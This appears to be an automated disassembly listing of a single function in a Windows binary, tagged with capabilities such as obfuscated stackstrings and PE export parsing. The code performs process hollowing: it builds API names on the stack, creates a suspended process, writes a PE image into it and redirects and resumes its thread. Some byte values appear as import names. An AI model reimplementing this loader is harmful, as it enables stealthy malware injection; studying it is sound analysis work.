Function at 0x1400355ec
Capabilities:
Contain obfuscated stackstrings
Enumerate pe sections
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x1f8
mov rax, qword [0x1401b05d8]
xor rax, rsp
mov qword [rsp + 0x1e0], rax
mov byte [rsp + 0x60], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0xa8], 0
mov qword [rsp + 0xb0], 0
call fcn.14002a390
mov dword [rsp + 0xd8], eax
mov byte [rsp + 0x61], 0
movzx eax, byte [rsp + 0x238]
test eax, eax
je 0x140035716
call fcn.1400a115c
mov rdx, rax
lea rcx, [rsp + 0xe0]
call fcn.140040518
nop
mov r9b, byte [rsp + 0x230]
lea r8, [rsp + 0xe0]
lea rdx, [rsp + 0x78]
mov ecx, dword [rsp + 0xd8]
call fcn.140034d60
movzx eax, al
test eax, eax
je 0x1400356f5
cmp qword [rsp + 0x78], 0
je 0x1400356f5
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
mov r9d, 2
xor r8d, r8d
mov edx, 0x2000000
mov rcx, qword [rsp + 0x78]
call fcn.1400a8af8
test eax, eax
je 0x1400356f5
xor r8d, r8d
mov rdx, qword [rsp + 0x78]
lea rcx, [rsp + 0xa8]
call fcn.1400a8bfc
test eax, eax
je 0x1400356f5
mov byte [rsp + 0x61], 1
mov rax, qword [rsp + 0xe0]
sub rax, 0x18
mov qword [rsp + 0x110], rax
mov rcx, qword [rsp + 0x110]
call fcn.1400a1b50
movzx eax, byte [rsp + 0x238]
test eax, eax
je 0x140035732
movzx eax, byte [rsp + 0x61]
test eax, eax
jne 0x140035732
xor al, al
jmp 0x140036104
mov eax, 1
imul rax, rax, 6
mov byte [rsp + rax + 0x190], 0x33
mov eax, 1
imul rax, rax, 7
mov byte [rsp + rax + 0x190], 0x32
mov eax, 1
imul rax, rax, 4
mov byte [rsp + rax + 0x190], 0x65
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x190], WSAStartup
mov eax, 1
imul rax, rax, 8
mov byte [rsp + rax + 0x190], 0x2e
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x190], 0x4b
mov eax, 1
imul rax, rax, 0xa
mov byte [rsp + rax + 0x190], WSAStartup
mov eax, 1
imul rax, rax, 0xb
mov byte [rsp + rax + 0x190], WSAStartup
mov eax, 1
imul rax, rax, 9
mov byte [rsp + rax + 0x190], 0x64
mov eax, 1
imul rax, rax, 5
mov byte [rsp + rax + 0x190], WSAStartup
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x190], 0x65
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0x190], WSAStartup
mov eax, 1
imul rax, rax, 0xc
mov qword [rsp + 0xe8], rax
cmp qword [rsp + 0xe8], 0xd
jae 0x14003581c
jmp 0x140035821
call fcn.1401766c8
mov rax, qword [rsp + 0xe8]
mov byte [rsp + rax + 0x190], 0
lea rcx, [rsp + 0x190]
call fcn.1400ad27c
mov qword [rsp + 0xb8], rax
cmp qword [rsp + 0xb8], 0
je 0x140035c33
mov eax, 1
imul rax, rax, 9
mov byte [rsp + rax + 0x1b0], 0x43
mov eax, 1
imul rax, rax, 0xe
mov byte [rsp + rax + 0x1b0], 0x78
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x1b0], 0x53
mov eax, 1
imul rax, rax, 0xf
mov byte [rsp + rax + 0x1b0], reloc.WS2_32.dll_WSACleanup
mov eax, 1
imul rax, rax, 0x10
mov qword [rsp + 0xf0], rax
cmp qword [rsp + 0xf0], 0x11
jae 0x1400358b7
jmp 0x1400358bc
call fcn.1401766c8
mov rax, qword [rsp + 0xf0]
mov byte [rsp + rax + 0x1b0], 0
mov eax, 1
imul rax, rax, 0xa
mov byte [rsp + rax + 0x1b0], reloc.WS2_32.dll_WSAGetLastError
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x1b0], reloc.WS2_32.dll_WSACleanup
mov eax, 1
imul rax, rax, 8
mov byte [rsp + rax + 0x1b0], 0x64
mov eax, 1
imul rax, rax, 7
mov byte [rsp + rax + 0x1b0], 0x61
mov eax, 1
imul rax, rax, 4
mov byte [rsp + rax + 0x1b0], WSAGetLastError
mov eax, 1
imul rax, rax, 5
mov byte [rsp + rax + 0x1b0], WSAStartup
mov eax, 1
imul rax, rax, 6
mov byte [rsp + rax + 0x1b0], 0x65
mov eax, 1
imul rax, rax, 0xc
mov byte [rsp + rax + 0x1b0], reloc.WS2_32.dll_WSACleanup
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x1b0], 0x65
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0x1b0], 0x54
mov eax, 1
imul rax, rax, 0xd
mov byte [rsp + rax + 0x1b0], 0x65
mov eax, 1
imul rax, rax, 0xb
mov byte [rsp + rax + 0x1b0], WSAStartup
lea rdx, [rsp + 0x1b0]
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1401b1380], rax
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x1a0], 0x65
mov eax, 1
imul rax, rax, 7
mov byte [rsp + rax + 0x1a0], WSAGetLastError
mov eax, 1
imul rax, rax, 5
mov byte [rsp + rax + 0x1a0], 0x65
mov eax, 1
imul rax, rax, 0xb
mov byte [rsp + rax + 0x1a0], 0x64
mov eax, 1
imul rax, rax, 8
mov byte [rsp + rax + 0x1a0], WSAStartup
mov eax, 1
imul rax, rax, 4
mov byte [rsp + rax + 0x1a0], WSAStartup
mov eax, 1
imul rax, rax, 9
mov byte [rsp + rax + 0x1a0], 0x65
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x1a0], reloc.WS2_32.dll_WSAStartup
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0x1a0], 0x75
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x1a0], 0x52
mov eax, 1
imul rax, rax, 0xa
mov byte [rsp + rax + 0x1a0], 0x61
mov eax, 1
imul rax, rax, 6
mov byte [rsp + rax + 0x1a0], 0x54
mov eax, 1
imul rax, rax, 0xc
mov qword [rsp + 0xf8], rax
cmp qword [rsp + 0xf8], 0xd
jae 0x140035a9f
jmp 0x140035aa4
call fcn.1401766c8
mov rax, qword [rsp + 0xf8]
mov byte [rsp + rax + 0x1a0], 0
lea rdx, [rsp + 0x1a0]
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1401b1388], rax
mov eax, 1
imul rax, rax, 0xa
mov byte [rsp + rax + 0x1c8], WSAStartup
mov eax, 1
imul rax, rax, 9
mov byte [rsp + rax + 0x1c8], 0x50
mov eax, 1
imul rax, rax, 0xb
mov byte [rsp + rax + 0x1c8], reloc.WS2_32.dll_WSAGetLastError
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0x1c8], WSAStartup
mov eax, 1
imul rax, rax, 0x10
mov qword [rsp + 0x100], rax
cmp qword [rsp + 0x100], 0x11
jae 0x140035b33
jmp 0x140035b38
call fcn.1401766c8
mov rax, qword [rsp + 0x100]
mov byte [rsp + rax + 0x1c8], 0
mov eax, 1
imul rax, rax, 4
mov byte [rsp + rax + 0x1c8], WSASetLastError
mov eax, 1
imul rax, rax, 6
mov byte [rsp + rax + 0x1c8], 0x61
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x1c8], WSAStartup
mov eax, 1
imul rax, rax, 0xd
mov byte [rsp + rax + 0x1c8], 0x65
mov eax, 1
imul rax, rax, 8
mov byte [rsp + rax + 0x1c8], 0x65
mov eax, 1
imul rax, rax, 0xc
mov byte [rsp + rax + 0x1c8], 0x63
mov eax, 1
imul rax, rax, 7
mov byte [rsp + rax + 0x1c8], reloc.WS2_32.dll_WSACleanup
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x1c8], 0x65
mov eax, 1
imul rax, rax, 5
mov byte [rsp + rax + 0x1c8], WSAStartup
mov eax, 1
imul rax, rax, 0xf
mov byte [rsp + rax + 0x1c8], reloc.WS2_32.dll_WSAStartup
mov eax, 1
imul rax, rax, 0xe
mov byte [rsp + rax + 0x1c8], reloc.WS2_32.dll_WSAStartup
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x1c8], 0x54
lea rdx, [rsp + 0x1c8]
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1401b1390], rax
jmp 0x140035c3a
xor al, al
jmp 0x140036104
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x108]
movzx eax, word [rax]
cmp eax, 0x5a4d
jne 0x14003609d
mov rax, qword [rsp + 0x108]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x200]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
cmp dword [rax], 0x4550
jne 0x14003609d
lea rdx, [rsp + 0x88]
mov rcx, qword [rsp + 0x208]
call fcn.1400a8e24
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 4]
cmp eax, 0x14c
jne 0x140035cbf
cmp dword [rsp + 0x88], 0
jne 0x140035cd9
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 4]
cmp eax, 0x8664
jne 0x140035ce2
cmp dword [rsp + 0x88], 6
je 0x140035ce2
mov al, byte [rsp + 0x60]
jmp 0x140036104
mov r8d, 0x18
xor edx, edx
lea rcx, [rsp + 0xc0]
call fcn.140178040
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0x120]
call fcn.140178040
mov dword [rsp + 0x120], WSASetLastError
mov dword [rsp + 0x15c], 0x101
xor eax, eax
mov word [rsp + 0x160], ax
movzx eax, byte [rsp + 0x238]
test eax, eax
je 0x140035daa
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x120]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], 0
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x210]
mov rdx, qword [rsp + 0x208]
mov rcx, qword [rsp + 0xb0]
call fcn.1400a8cd8
mov dword [rsp + 0x8c], eax
jmp 0x140035e08
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x120]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x210]
mov rcx, qword [rsp + 0x208]
call fcn.1400ac438
mov dword [rsp + 0x8c], eax
cmp dword [rsp + 0x8c], 0
je 0x14003609d
mov r9d, 4
mov r8d, 0x1000
mov edx, 8
xor ecx, ecx
call fcn.1400ab474
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x80]
mov dword [rax + 0x30], 0x100002
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0xc8]
call fcn.1400a9b78
test eax, eax
je 0x14003608d
mov rax, qword [rsp + 0x80]
mov rax, qword [rax + 0x88]
add rax, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rsp + 0x118]
mov rdx, rax
mov rcx, qword [rsp + 0xc0]
call fcn.1400a9cf4
movzx eax, byte [rsp + 0x228]
test eax, eax
je 0x140035eb5
mov dword [rsp + 0x90], 0x40
jmp 0x140035ec0
mov dword [rsp + 0x90], 4
mov eax, dword [rsp + 0x90]
mov dword [rsp + 0xdc], eax
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x50]
mov ecx, dword [rsp + 0xdc]
mov dword [rsp + 0x20], ecx
mov r9d, 0x3000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0xc0]
call fcn.1400ab544
mov qword [rsp + 0xa0], rax
cmp qword [rsp + 0xa0], 0
je 0x14003607b
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x54]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rsp + 0x200]
mov rdx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0xc0]
call fcn.1400a9a90
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x68]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x98], rax
mov dword [rsp + 0x70], 0
jmp 0x140035f70
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x70], eax
jge 0x140035ff1
mov rax, qword [rsp + 0x98]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x98]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rsp + 0x200]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0x98]
mov edx, dword [rdx + 0xc]
mov r8, qword [rsp + 0xa0]
add r8, rdx
mov rdx, r8
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rcx, qword [rsp + 0xc0]
call fcn.1400a9a90
mov rax, qword [rsp + 0x98]
add rax, 0x28
mov qword [rsp + 0x98], rax
jmp 0x140035f66
mov rax, qword [rsp + 0x80]
mov rax, qword [rax + 0x88]
add rax, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rsp + 0xa0]
mov rdx, rax
mov rcx, qword [rsp + 0xc0]
call fcn.1400a9a90
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0xa0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x80]
mov qword [rcx + 0x80], rax
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0xc8]
call qword [0x1401b1380]
mov rcx, qword [rsp + 0xc8]
call qword [0x1401b1388]
mov byte [rsp + 0x60], 1
jmp 0x14003608b
xor edx, edx
mov rcx, qword [rsp + 0xc0]
call qword [0x1401b1390]
jmp 0x14003609d
xor edx, edx
mov rcx, qword [rsp + 0xc0]
call qword [0x1401b1390]
cmp qword [rsp + 0xa8], 0
je 0x1400360c1
mov rcx, qword [rsp + 0xa8]
call fcn.1400ace10
mov qword [rsp + 0xa8], 0
cmp qword [rsp + 0xb0], 0
je 0x1400360e5
mov rcx, qword [rsp + 0xb0]
call fcn.1400ac064
mov qword [rsp + 0xb0], 0
cmp qword [rsp + 0x78], 0
je 0x140036100
mov rcx, qword [rsp + 0x78]
call fcn.1400ac064
mov qword [rsp + 0x78], 0
mov al, byte [rsp + 0x60]
mov rcx, qword [rsp + 0x1e0]
xor rcx, rsp
call fcn.1401768f0
add rsp, 0x1f8
ret